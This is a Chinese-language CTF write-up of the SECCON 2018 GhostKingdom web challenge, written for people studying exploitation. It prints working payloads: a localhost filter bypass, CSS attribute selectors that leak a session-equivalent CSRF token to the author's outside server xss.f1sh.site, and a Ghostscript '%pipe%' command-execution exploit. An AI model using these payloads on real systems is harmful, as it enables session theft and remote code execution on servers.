SECCON 2018 Online CTF GhostKingdom Writeup

题目信息里告诉我们,flag在网站的FLAG/目录下,但是不知道文件名。

然后访问网站,注册登录后有Message to admin,Take a screenshot,Upload image三个功能,其中Upload image提示我们只有localhost才可以访问。

先看Message to admin功能,他分Normal\Emergency两种留言方式,使用Emergency留言方式会发现url里多出了一个css参数,用base64解码后为

span{background-color:red;color:yellow}

同时可以注意到我们的留言框变为了红色,也就是这里从url的css参数传入了css并解析:

那么我们显然可以从这里往网页中注入CSS(对尖括号进行了过滤,无法进行XSS)。我们在这里尝试注入CSS:

span{background:url(http://xss.f1sh.site/?seccon)}

然后submit,但是并没有从管理员处发过来的请求。这里很奇怪,所以先放一边。值得一提的是我们可以发现有一个csrf token,然后仔细观察发现它和我们cookie中CGISESSID的值相同。

然后看第二个功能Take a screenshot,这个功能我们可以输入一个URL,然后他会访问网站并返回网站的截图给我们。那么理所当然的就尝试http://127.0.0.1,发现被过滤了:

You can not use URLs that contain the following keywords: 127, ::1, local

过滤十分容易绕,使用http://0/即可,ip2long也可以 。

截了localhost的图之后发现先需要登录,正好这个网站的登录是get请求,那么传入登录URL即可登录。登录之后发现果然就有了Upload image功能,但是我们只能看到截图,并不能直接操作。

此时回想起刚才CSS注入点,想到我们可以利用CSS选择器来获取csrf token,也就是获取到了CGISESSID的值,然后把我们的session替换为localhost登录后的session,也许就可以获得Upload image功能了。

利用CSS选择器获取csrf token:

input[name="csrf"][value^="a"]{background: url(http://xss.f1sh.site/?match=a);}
input[name="csrf"][value^="b"]{background: url(http://xss.f1sh.site/?match=b);}
input[name="csrf"][value^="c"]{background: url(http://xss.f1sh.site/?match=c);}
input[name="csrf"][value^="d"]{background: url(http://xss.f1sh.site/?match=d);}
input[name="csrf"][value^="e"]{background: url(http://xss.f1sh.site/?match=e);}
input[name="csrf"][value^="f"]{background: url(http://xss.f1sh.site/?match=f);}
input[name="csrf"][value^="0"]{background: url(http://xss.f1sh.site/?match=0);}
input[name="csrf"][value^="1"]{background: url(http://xss.f1sh.site/?match=1);}
input[name="csrf"][value^="2"]{background: url(http://xss.f1sh.site/?match=2);}
input[name="csrf"][value^="3"]{background: url(http://xss.f1sh.site/?match=3);}
input[name="csrf"][value^="4"]{background: url(http://xss.f1sh.site/?match=4);}
input[name="csrf"][value^="5"]{background: url(http://xss.f1sh.site/?match=5);}
input[name="csrf"][value^="6"]{background: url(http://xss.f1sh.site/?match=6);}
input[name="csrf"][value^="7"]{background: url(http://xss.f1sh.site/?match=7);}
input[name="csrf"][value^="8"]{background: url(http://xss.f1sh.site/?match=8);}
input[name="csrf"][value^="9"]{background: url(http://xss.f1sh.site/?match=9);}

将这段css base64编码后,传入Take a screenshot

http://0//?css=aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iYSJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9YSk7fQppbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJiIl17YmFja2dyb3VuZDogdXJsKGh0dHA6Ly94c3MuZjFzaC5zaXRlLz9tYXRjaD1iKTt9CmlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImMiXXtiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL3hzcy5mMXNoLnNpdGUvP21hdGNoPWMpO30KaW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iZCJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9ZCk7fQppbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJlIl17YmFja2dyb3VuZDogdXJsKGh0dHA6Ly94c3MuZjFzaC5zaXRlLz9tYXRjaD1lKTt9CmlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImYiXXtiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL3hzcy5mMXNoLnNpdGUvP21hdGNoPWYpO30KaW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMCJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9MCk7fQppbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSIxIl17YmFja2dyb3VuZDogdXJsKGh0dHA6Ly94c3MuZjFzaC5zaXRlLz9tYXRjaD0xKTt9CmlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjIiXXtiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL3hzcy5mMXNoLnNpdGUvP21hdGNoPTIpO30KaW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMyJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9Myk7fQppbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI0Il17YmFja2dyb3VuZDogdXJsKGh0dHA6Ly94c3MuZjFzaC5zaXRlLz9tYXRjaD00KTt9CmlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjUiXXtiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL3hzcy5mMXNoLnNpdGUvP21hdGNoPTUpO30KaW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iNiJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9Nik7fQppbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI3Il17YmFja2dyb3VuZDogdXJsKGh0dHA6Ly94c3MuZjFzaC5zaXRlLz9tYXRjaD03KTt9CmlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjgiXXtiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL3hzcy5mMXNoLnNpdGUvP21hdGNoPTgpO30KaW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iOSJde2JhY2tncm91bmQ6IHVybChodHRwOi8veHNzLmYxc2guc2l0ZS8/bWF0Y2g9OSk7fQ==&msg=111&action=msgadm2

当匹配到对应的值时,就会发送请求回我们的服务器。因此一位位的注入即可获得完整的token:

获得token后替换我们的CGISESSID,刷新一下,就有了Upload image功能。随意上传一张图片发现:

点一下:

非常明显了,暑假爆出来的GhostScript RCE,使用EXP打一发:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

获得flag文件名,直接访问:

发表评论